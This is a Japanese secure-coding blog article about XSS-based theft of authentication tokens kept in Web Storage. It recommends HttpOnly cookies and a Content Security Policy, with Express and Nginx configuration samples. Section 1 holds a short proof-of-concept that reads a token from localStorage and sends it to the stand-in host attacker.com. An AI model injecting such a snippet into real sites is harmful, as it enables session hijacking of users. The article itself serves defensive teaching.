【実務・中級編】Web Storage (LocalStorage/SessionStorage)のXSSによる窃取リスク – アプリケーションセキュリティ & 安全な開発防御ガイド

「LocalStorageにトークン保存? まだそんな危ない橋を渡っているのか?」――XSS対策の最前線

現場でコードレビューをしていると、未だに「とりあえずJWTをLocalStorageに突っ込んでおけば、APIコールが楽でしょ」という設計を見かける。正直に言おう。その設計は、攻撃者に対して「どうぞ、この玄関の鍵を盗んでください」と広告を出しているようなものだ。

今日は、クロスサイトスクリプティング(XSS)を起点としたWeb Storage(LocalStorage/SessionStorage)のトークン窃取リスクと、我々プロが現場で実装すべき「本当のセキュリティ」について、泥臭い知見を共有する。

—

1. なぜLocalStorageは「盗まれやすい」のか

まず、攻撃者の視点に立ってみよう。XSSは、ブラウザ上で第三者のスクリプトを強制的に実行させる脆弱性だ。

もし君のアプリが localStorage.getItem('access_token') で認証情報を取得しているなら、攻撃者は脆弱性のある入力箇所に、たった一行のスクリプトを流し込むだけでいい。

攻撃のPoC(概念実証)

攻撃者は、以下のようなスクリプトを掲示板のコメント欄や、クエリパラメータに仕込む。

// 攻撃者のサーバーへLocalStorageの中身を転送するスクリプト
const token = localStorage.getItem(‘access_token’);
fetch(‘https://attacker.com/steal?token=’ + btoa(token));

ブラウザ上でこのスクリプトが動いた瞬間、君のユーザーの認証トークンは、攻撃者の手元に届く。これが反射型だろうが格納型だろうが、DOM型だろうが関係ない。LocalStorageはJavaScriptから「読み取り放題」だからだ。

—

2. 唯一の正解:HttpOnly Cookieへの移行

「LocalStorageからトークンを出す」のがゴールではない。「JavaScriptからトークンを隠す」のが我々のミッションだ。

これには、HttpOnly 属性が付与されたCookieを使うのが唯一の解だ。HttpOnly を設定すると、ブラウザはJavaScriptからのCookieアクセスを完全に遮断する。つまり、万が一XSSを許してしまっても、攻撃者はそのトークンを盗むことができない。

実装例:バックエンド(Node.js / Express)でのセキュアなCookie設定

認証成功後、トークンを Set-Cookie ヘッダーでクライアントに渡す。

// バックエンドでのセキュアなCookie発行ロジック
res.cookie(‘session_token’, token, {
httpOnly: true, // JSからのアクセスを禁止(これが最重要)
secure: true, // HTTPS通信でのみ送信
sameSite: ‘strict’, // CSRF対策。厳格なドメイン制限
maxAge: 3600000 // 1時間の有効期限
});

これで、フロントエンド側は「トークンをどう保持するか」という頭の痛い問題から解放される。ブラウザが勝手にCookieをAPIへ付与してくれるからだ。

—

3. どうしてもLocalStorageを使わざるを得ない場合(暗号化の罠)

「いや、モバイルアプリとの共通基盤だからCookieは無理だ」という言い訳を聞くこともある。しかし、LocalStorageに平文で置くのは論外だ。

もし「クライアントサイドで暗号化すればいいのでは?」と考えるなら、それは「鍵を金庫に入れず、金庫の横に貼っておく」のと同じだ。暗号化ロジックもJavaScriptで書かれている以上、攻撃者はそのロジックを解析し、復号ルーチンも盗むからだ。

結論:LocalStorageにトークンを置く設計は、何をどう頑張っても「脆弱」であるという事実を受け入れろ。

—

4. 防御の多層化(Defense in Depth)

開発者がコードを書いても、ゼロデイ脆弱性やライブラリの脆弱性でXSSが発生する可能性はゼロにならない。だからこそ、ブラウザのセキュリティ機能を「保険」として使う。

Content Security Policy (CSP) の設定

NginxやWebサーバーのレスポンスヘッダーで、強力なCSPを設定しておくこと。これにより、仮にスクリプトが埋め込まれても、外部へのデータ送信をブロックできる。

Nginxの設定例
add_header Content-Security-Policy “default-src ‘self’; script-src ‘self’; connect-src ‘self’ https://api.yoursite.com;”;

  • default-src 'self': 外部からの怪しい読み込みを禁止。
  • connect-src 'self': データの送信先を自社ドメインに制限(攻撃者のドメインへのデータ送信を拒否する)。

—

後輩エンジニアへ贈る言葉

「動くコード」を書くのはジュニアエンジニアの仕事だ。「動く、かつ攻撃者が触れないコード」を書くのが、我々プロの仕事だ。

1. 認証情報はLocalStorageに置くな。
2. どうしても置くなら、HttpOnly Cookieへの移行を死ぬ気で検討せよ。
3. CSPでブラウザの口を塞げ。

セキュリティは「完成」がない。常に攻撃者の視点を持ち、自分の書いたコードを「どうやったらクラックできるか?」という意地悪な目で眺めてみてほしい。その疑い深さこそが、君と君のサービスを守る盾になるはずだ。

もし明日から実装を変更するなら、まずは今夜、認証周りのコードを読み返してみてくれ。そこに「localStorage.getItem」の文字がなければ、君はまず一歩、正しい方向に進んでいる。

コメント

タイトルとURLをコピーしました